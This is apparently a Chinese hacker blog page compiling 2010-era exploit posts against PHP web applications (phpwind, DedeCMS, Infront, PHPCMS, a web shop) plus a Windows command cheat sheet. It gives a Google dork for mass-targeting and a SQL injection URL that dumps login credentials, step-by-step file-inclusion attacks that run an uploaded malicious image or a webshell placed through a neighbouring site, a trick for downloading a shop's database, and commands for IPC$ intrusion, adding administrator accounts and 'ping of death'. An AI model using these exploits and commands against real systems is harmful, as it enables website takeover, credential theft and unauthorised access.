www.51xiaofeng.com
黑客
phpwind 7.5 0day漏洞运用
六 26th
phpwind 7.5 Multiple Include Vulnerabilities
壹.api/class_base.php本地包含漏洞
1.描敘
api/class_base.php文件裏callback函數裏$mode變量沒有過濾導致任意包含本地文件,從而可以執行任意PHP命令.
2. 具體分析
api/class_base.php文件裏:
function callback($mode, $method, $params) {
if (!isset($this->classdb[$mode])) {
if (!file_exists(R_P.’api/class_’ . $mode . ‘.php’)) {
return new ErrorMsg(API_MODE_NOT_EXISTS, “Class($mode) Not Exists”);
}
require_once(R_P.’api/class_’ . $mode . ‘.php’); //這裏
$this->classdb[$mode] = new $mode($this);
}
if (!method_exists($this->classdb[$mode], $method)) {
return new ErrorMsg(API_METHOD_NOT_EXISTS, “Method($method of $mode) Not Exists”);
}
!is_array($params) &&$params = array();
return @call_user_func_array(array(&$this->classdb[$mode], $method), $params);
}
我們繼續跟壹下具體變量傳遞的過程. 上面的函數在run()裏有調用:
function run($request) {
$request = $this->strips($request);
if (isset($request['type']) &&$request['type'] == ‘uc’) {
$this->type = ‘uc’;
$this->apikey = $GLOBALS['uc_key'];//註意這個變量也是該漏洞的關鍵
} else {
$this->type = ‘app’;
$this->apikey = $GLOBALS['db_siteownerid'];
$this->siteappkey = $GLOBALS['db_siteappkey'];
}
/***
if ($this->type == ‘app’ &&!$GLOBALS['o_appifopen']) {
return new ErrorMsg(API_CLOSED, ‘App Closed’);
}
***/
ksort($request);
reset($request);
$arg = ”;
foreach ($request as $key => $value) {
if ($value &&$key != ‘sig’) {
$arg .= “$key=$value&”;
}
}
if (md5($arg . $this->apikey) != $request['sig']) { //註意這個判斷,需要繞過它.上面的代碼可以看的出來$this->apikey = $GLOBALS['uc_key'],和$request['sig']我們
//都可以操控,那麽很轻易繞過它
return new ErrorMsg(API_SIGN_ERROR, ‘Error Sign’);
}
$mode = $request['mode']; //取$mode 沒有過濾直接進入下面的callback()
$method = $request['method'];
$params = isset($request['params']) ? unserialize($request['params']) : array();
if (isset($params['appthreads'])) {
if (PHP_VERSION <5.2) {
require_once(R_P.’api/class_json.php’);
$json = new Services_JSON(true);
$params['appthreads'] = $json->decode(@gzuncompress($params['appthreads']));
} else {
$params['appthreads'] = json_decode(@gzuncompress($params['appthreads']),true);
}
}
if ($params &&isset($request['charset'])) {
$params = pwConvert($params, $this->charset, $request['charset']);
}
return $this->callback($mode, $method, $params); //調用callback ()
}
我們繼續看看run()函數的調用:
在pw_api.php文件裏:
$api = new api_client();
$response = $api->run($_POST + $_GET);//直接run了$_POST , $_GET提交的變量.
上面的分析是逆行分析了整個漏洞變量提交的過程,其實我們這個漏洞還包含壹次編碼與解碼的問:require_once(R_P.’api/class_’ . $mode . ‘.php’);這個需要繞過魔術引號才可以
包含轻易文件.我們註意看run()的第壹句
$request = $this->strips($request);
strips()的代碼:
function strips($param) {
if (is_array($param)) {
foreach ($param as $key => $value) {
$param[$key] = $this->strips($value);
}
} else {
$param = stripslashes($param); //變量直接使用了stripslashes,那麽我們可以直接繞過魔術引號了 ![]()
}
return $param;
}
3.POC/EXP
缺
4.FIX
由於漏洞信息的外泄,官方針對這個漏洞已經做出了修補:
http://www.phpwind.net/read-htm-tid-914851.html
具體代碼:
require_once Pcv(R_P.’api/class_’ . $mode . ‘.php’);
function Pcv($filename,$ifcheck=1){
$tmpname = strtolower($filename);
$tmparray = array(‘ http://’,”\0“); //過濾了http:// \0 意思是不讓遠程 不讓截斷
$ifcheck &&$tmparray[] = ‘..’; //過濾了.. 意思是不讓轉跳目錄
if (str_replace($tmparray,”,$tmpname)!=$tmpname) {
exit(‘Forbidden’);
}
return $filename;
}
從Pcv()可以看出來phpwind的補丁風格是很猥瑣的,單從這個pcv來看 還有很多的邏輯問題,比如http://這個過濾很搞笑,人家就不可以用ftp://? …
二.apps/share/index.php遠程包含漏洞
1.描敘
apps/share/index.php 裏$route和$basePath變量沒有初始化,導致遠程包含或者本地包含php文件,導致執行任意php代碼
2.具體分析
<?php
if ($route == “share”) {
require_once $basePath . ‘/action/m_share.php’;
} elseif ($route == “sharelink”) {
require_once $basePath . ‘/action/m_sharelink.php’;
}
?>
這個漏洞好象不太需要分析!!!! 我建議寫這個代碼的人應該扣除年終獎…
3.POC/EXP
缺
4.FIX
等待官方補丁,假如用不著的朋友直接把這個文件刪除好了.
三.apps/groups/index.php遠程包含漏洞
1.描敘
apps/groups/index.php 裏$route和$basePath變量沒有初始化,導致遠程包含或者本地包含php文件,導致執行任意php代碼
2.具體分析
<?php
if ($route == “groups”) {
require_once $basePath . ‘/action/m_groups.php’;
} elseif ($route == “group”) {
require_once $basePath . ‘/action/m_group.php’;
} elseif ($route == “galbum”) {
require_once $basePath . ‘/action/m_galbum.php’;
}
這個漏洞好象不太需要分析!!!! 我建議寫這個代碼的人應該扣除年終獎…
3.POC/EXP
缺
4.FIX
等待官方補丁,假如用不著的朋友直接把這個文件刪除好了.
最新消息 目前官方已經發布補丁http://www.phpwind.net/read-htm-tid-914851.html
Infront 程序存在SQL注入漏洞
六 26th
Infront 程序存在SQL注入漏洞,可获取管理权限。
批量:google:intext:Powered by Infront
漏洞页面 : breaking_news.php
Exploit Code : http://www.hackzhi.org/变量路径/breaking_news.php?newsid=union select 1,2,3,concat(email,0x3e,user,0x3e,pass),5,6+FROM+login
后台登入:
http://www.hackzhi.org/变量路径/login.php
演示:http://www.hackzhi.org/breaking_news.php?newsid=-103+UNION+SELECT+1,2,3,concat(email,0x3e,user,0x3e,pass),5,6+FROM+login–
首发TheMaster
DedeCmsV5.6再爆0day 本地包含 鸡助0day漏洞
六 26th
DedeCmsV5.6 程序plus/carbuyaction.php 变量未初始化,造成本地文件包含漏洞。
代码:
<?php require_once (dirname(__FILE__) . “/../include/common.inc.php”); define(‘_PLUS_TPL_’, DEDEROOT.’/templets/plus’); require_once DEDEINC.’/dedetemplate.class.php’; require_once DEDEINC.’/shopcar.class.php’; require_once DEDEINC.’/memberlogin.class.php’; if($cfg_mb_open==’N') { ShowMsg(“系统关闭了会员功能,因此你无法访问此页面!”,”javascript:;”); exit(); } $cfg_ml = new MemberLogin(); if(!isset($dopost) || empty($dopost)){ //只要$dopost不为空就行,By:qing。 … }elseif($dopost == ‘return’){ require_once DEDEINC.’/payment/’.$code.’.php’; //变量$code未初始化, $pay = new $code; $msg=$pay->respond(); ShowMsg($msg,”javascript:;”,0,3000); exit(); } ?>
测试代码:http://www.hackqing.cn/plus/carbuyaction.php?dopost=return&code=../../
1、 plus/carbuyaction.php文件:
//漏洞出现下$dopost 为return的时候,$code变量没有被赋值,由于dedecms的全局机制可以任意给其赋值,从而带入包含,导致本地包含漏洞。
…
elseif($dopost == ‘return’){ //$code直接引入, require_once DEDEINC.’/payment/’.$code.’.php’; $pay = new $code; $msg=$pay->respond(); ShowMsg($msg,”javascript:;”,0,3000); exit(); }
…
2、 include/common.inc.php:
//无论是否打开magic_quotes_gpc,系统都对传进来的变量进行了addslashes处理,…
function _RunMagicQuotes(&$svar) { if(!get_magic_quotes_gpc()) { if( is_array($svar) ) { foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v); } else { $svar = addslashes($svar); } } return $svar; } //模拟register_globals,对_GET、_POST、_COOKIE全局化, foreach(Array(‘_GET ‘,’_POST’,'_COOKIE’) as $_request) { foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v); }
…
三、漏洞利用
1. windows系统:
IIS或者某些apache版本下php文件系统可以进行路径截断,
可以通过
///////////////////////////////////(若干/)
/././././././././././././././././(若干/.)
进行截断。
于是可以上传一个精心构造带有恶意php代码的图片,然后注册一个用户上传,比如上传到uploads/userup/2/12Ka5357-c53.jpg,于是可以通过访问:
http://127.0.0.1/ plus/carbuyaction.php?dopost=return&code=../../uploads/userup/2/12Ka5357-c53.jpg///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////(若干/)
则有可能执行12Ka5357-c53.jpg中的恶意php代码,从而达到入侵的目的。
2.linux系统:
1)apache某些版本php文件系统支持路径截断,于是同windows下,可以通过
///////////////////////////////////(若干/)
/././././././././././././././././(若干/.)
进行截断。
利用方法同windows:
于是可以上传一个精心构造带有恶意php代码的图片,然后注册一个用户上传,比如上传到uploads/userup/2/12Ka5357-c53.jpg,于是可以通过访问:
http://127.0.0.1/ plus/carbuyaction.php?dopost=return&code=../../uploads/userup/2/12Ka5357-c53.jpg///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////(若干/)
则有可能执行12Ka5357-c53.jpg中的恶意php代码,从而达到入侵的目的。
2)旁注攻击
比如目标站是www.aaa.com,漏洞文件是:
http://www.aaa.com/ plus/carbuyaction.php
同服务器有个站点www.bbb.com可以轻松入侵,拿到webshell,但是由于权限控制,www.bbb.com站的webshell访问或者控制不了www.aaa.com,于是我们可以通过这个本地包含漏洞达到入侵www.aaa.com的目的。
1. 通过www.bbb.com上传一个webshell到/tmp文件夹下,比如文件名是shell.php;
2. 访问http://www.aaa.com/plus/carbuyaction.php?code=../../../../../../../tmp/shell则可以成功包含我们上传到临时文件夹下的webshell,由于当前是www.aaa.com的权限,则可以完全控制目标站点:www.aaa.com。
PHPCMS网站管理系统ADSCLASS.PHP页面过滤不严导致SQL注入漏洞
六 25th
添加时间:
2010-05-24
系统编号:
WAVDB-01629
影响版本:
phpcms2008sp4_UTF8_100510
程序介绍:
Phpcms是一款基于 PHP+Mysql 架构的网站内容管理系统,也是一个开源的 PHP 开发平台。Phpcms 采用模块化方式开发,功能易用便于扩展,可面向大中型站点提供重量级网站建设解决方案。3年来,凭借 Phpcms 团队长期积累的丰富的Web开发及数据库经验和勇于创新追求完美的设计理念,使得 Phpcms 得到了近10万网站的认可,并且越来越多地被应用到大中型商业网站
漏洞分析:
ads\include\ads.class.php
function edit($ads, $adsid, $username = ”) //110行
{
if(!$this->check_form($ads)) return FALSE;
$ads = $this->check_form($ads);
if(defined(‘IN_ADMIN’))
}
$ads['fromdate'] = strtotime($ads['fromdate']);
$ads['todate'] = strtotime($ads['todate']);
{
$this->adsid = $adsid;
$where = ‘ adsid=’.$this->adsid;
if($username) $where .= ” AND username=’$username’”;
return $this->db->update($this->table, $ads, $where);
}
Ads\member.php
if(!$c_ads->edit($info, $adsid, $_username)) showmessage($c_ads->msg(), ‘goback’); //47行
变量$adsid没有经过处理就直接进入SQL查询,造成SQL注入。
漏洞利用:
1、注册普通会员
2、 预定广告并修改adsid值从而进行SQL注入
解决方案:
厂商补丁:
PHPCMS
——-
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.phpcms.cn/
信息来源:
<来源: Bug.Center.Team
商达讯商城购物系统4.01官方正式简体中文版漏洞
六 24th
网店系统简介:
该程序是用于建立独立网店系统,操作简便直观容易操作,同时完全开放代码方便客户根据自己需求做二次开发,此次升级主要提升了安全内核,特别是增加了适合淘宝拍拍店主开独立分店的淘宝拍拍数据库 导入功能。内置安装了支付宝|快钱|Qpay网上支付平台手机网上支付系统,后台自己操作填上帐号和校验码就可以用了,功能齐全,性能稳定,是功能强大的网店系统。
淘宝拍拍分店版最新亮点功能,改版程序增加了淘宝拍拍店数据导入快速同步建站功能,该功能可以快速实现淘宝拍拍店主快速同步建立自己独立品牌独立网店愿望,以便拓展自己独立的营销渠道和策略,应对淘宝拍拍等霸道的限制!
该导入组件使用方便,便于升级,是目前淘宝拍拍数据导入网店最先进的!!
测试时间:10-5-28
测试版本:4.01官方正式简体中文版
测试环境:winxp
测试漏洞:数据库没有做防下载处理,默认数据库#sdxshopmianfei#.mdb
老办法#改为%23即可下载%23sdxshopmianfei%23.mdb
DOS命令基本字典.一
十一 20th
链接
net use \\ip\ipc$ “密码” /user:”用户名” 建立IPC非空链接
net use h: \\ip\c$ “密码” /user:”用户名” 直接登陆后映射对方C:到本地为H:
net use h: \\ip\c$ 登陆后映射对方C:到本地为H:
net use \\ip\ipc$ /del 删除IPC链接
net use h: /del 删除映射对方到本地的为H:的映射
net user 用户名 密码 /add 建立用户
net user guest /active:yes 激活guest用户
net user 查看有哪些用户
net user 帐户名 查看帐户的属性
net localgroup administrators 用户名 /add 把“用户”添加到管理员中使其具有管理员权限,注意:administrator后加s用复数
net start 查看开启了哪些服务
net start 服务名 开启服务;(如:net start telnet, net start schedule)
net stop 服务名 停止某服务
net time \\目标ip 查看对方时间
net time \\目标ip /set 设置本地计算机时间与“目标IP”主机的时间同步,加上参数/yes可取消确认信息
net view 查看本地局域网内开启了哪些共享
net view \\ip 查看对方局域网内开启了哪些共享
net config 显示系统网络设置
net logoff 断开连接的共享
net pause 服务名 暂停某服务
net send ip “文本信息” 向对方发信息
net ver 局域网内正在使用的网络连接类型和信息
net share 查看本地开启的共享
net share ipc$ 开启ipc$共享
net share ipc$ /del 删除ipc$共享
net share c$ /del 删除C:共享
net user guest 12345 用guest用户登陆后用将密码改为12345
net password 密码 更改系统登陆密码
netstat -a 查看开启了哪些端口,常用netstat -an
netstat -n 查看端口的网络连接情况,常用netstat -an
netstat -v 查看正在进行的工作
netstat -p 协议名 例:netstat -p tcq/ip 查看某协议使用情况(查看tcp/ip协议使用情况)
netstat -s 查看正在使用的所有协议使用情况
nbtstat -A ip 对方136到139其中一个端口开了的话,就可查看对方最近登陆的用户名(03前的为用户名)-注意:参数-A要大写
tracert -参数 ip(或计算机名) 跟踪路由(数据包),参数:“-w数字”用于设置超时间隔。
ping ip(或域名) 向对方主机发送默认大小为32字节的数据,参数:“-l[空格]数据包大小”;“-n发送数据次数”;“-t”指一直ping。
ping -t -l 65550 ip 死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping)
ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址,ipconfig可用参数“/all”显示全部配置信息
tlist -t 以树行列表显示进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)
kill -F 进程名 加-F参数后强制结束某进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)
del -F 文件名 加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件,/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的文件。例如“DEL/AR *.*”表示删除当前目录下所有只读文件,“DEL/A-S *.*”表示删除当前目录下除系统文件以外的所有文件
del /S /Q 目录 或用:rmdir /s /Q 目录 /S删除目录及目录下的所有子目录和文件。同时使用参数/Q 可取消删除操作时的系统确认就直接删除。(二个命令作用相同)
move 盘符\路径\要移动的文件名 存放移动文件的路径\移动后文件名 移动文件,用参数/y将取消确认移动目录存在相同文件的提示就直接覆盖
fc one.txt two.txt > 3st.txt 对比二个文件并把不同之处输出到3st.txt文件中,”> “和”> >” 是重定向命令
at id号 开启已注册的某个计划任务
at /delete 停止所有计划任务,用参数/yes则不需要确认就直接停止